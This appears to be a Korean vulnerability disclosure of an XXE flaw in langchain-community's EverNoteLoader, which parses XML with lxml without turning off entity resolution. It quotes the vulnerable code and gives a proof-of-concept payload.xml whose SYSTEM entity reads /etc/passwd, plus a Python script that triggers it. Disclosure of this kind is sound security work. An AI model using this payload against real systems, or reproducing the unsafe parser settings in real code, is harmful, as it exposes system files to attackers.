Keyword : XXE, EverNoteLoader, XML
langchain-ai/langchain-community 의 evernote.py 에서 문서 로더로 EverNoteLoader를 사용함.
해당 로더는 langchain-ai/langchain-community 의 종속 문서 로더로 XML파싱을 지원.
etree.iterparse() 호출 시에 외부 엔티티 참조를 비활성화하지 않기 때문에 XEE 취약점이 발생.
langchain-ai/langchain-community 0.3.63
XXE(XML eXternal Entity) 취약점은 XML 데이터를 제대로 검증하지 않아 공격자가 XML 데이터를 가져올 때 시스템의 중요한 파일이 조회 가능한 취약점임. (Security Misconfiguration)
element> ← 이런 마크업 구조를 tag라고 함.SYSTEM 엔터티를 사용해 URL을 지정할 수 있음(해당 CVE 발생 포인트)langchain_community.document_loaders.evernote.EverNoteLoader.lazy_load
# langchain_community/document_loaders/evernote.py
def _lazy_load(self) -> Iterator[Document]:
for note in self._parse_note_xml(self.file_path): # here is call _parse_note_xml()
if note.get("content") is not None:
yield Document(
page_content=note["content"],
metadata={
**{
key: value
for key, value in note.items()
if key not in ["content", "content-raw", "resource"]
},
**{"source": self.file_path},
},
)
# langchain_community/document_loaders/evernote.py
@staticmethod
def _parse_note_xml(xml_file: str) -> Iterator[Dict[str, Any]]:
"""Parse Evernote xml."""
# Without huge_tree set to True, parser may complain about huge text node
# Try to recover, because there may be " ", which will cause
# "XMLSyntaxError: Entity 'nbsp' not defined"
try:
from lxml import etree
except ImportError as e:
logger.error(
"Could not import `lxml`. Although it is not a required package to use "
"Langchain, using the EverNote loader requires `lxml`. Please install "
"`lxml` via `pip install lxml` and try again."
)
raise e
context = etree.iterparse(
xml_file, encoding="utf-8", strip_cdata=False, huge_tree=True, recover=True
) #외부 엔티티 비활성화 X
for action, elem in context:
if elem.tag == "note":
yield EverNoteLoader._parse_note(elem)
https://lxml.de/api/lxml.etree.iterparse-class.html
Available boolean keyword arguments:
attribute_defaults: read default attributes from DTD
dtd_validation: validate (if DTD is available)
load_dtd: use DTD for parsing
no_network: prevent network access for related files
remove_blank_text: discard blank text nodes
remove_comments: discard comments
remove_pis: discard processing instructions
strip_cdata: replace CDATA sections by normal text content (default: True)
compact: safe memory for short text content (default: True)
resolve_entities: replace entities by their text value (default: True)
huge_tree: disable security restrictions and support very deep trees
and very long text content (only affects libxml2 2.7+)
html: parse input as HTML (default: XML)
recover: try hard to parse through broken input (default: True for HTML,
False otherwise)
Other keyword arguments:
encoding: override the document encoding
schema: an XMLSchema to validate against
취약한 코드에서 사용한 arguments는 encoding="utf-8", strip_cdata=False, huge_tree=True, recover=True
resolve_entities argument는 엔티티를 치환해주는 argument로, 기본 값이 Truehuge_tre=True 엔티티 확장 제한(보안제한) 허용즉, resolve_entities를 False로 명시하지 않아 XML에 외부 엔티티 선언시 그대로 확장/로딩 하여 가져와 /etc/passwd를 SYSTEM 엔터티로 로드할 수 있어 취약점 발생
//payload.xml
<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<note>
<content>&example;</content>
</note>
# 서버가 해당 코드로 XML을 파싱할 때 취약점이 트리거 됨.
from langchain_community.document_loaders import EverNoteLoader
if __name__ == "__main__":
loader = EverNoteLoader(
"./payload.xml"
)
print(loader.load())
공격자가 로컬 파일 참조 혹은 SSRF를 악용하는 악성 XML 페이로드를 제작하여 비인가 데이터 노출을 유발할 수 있음.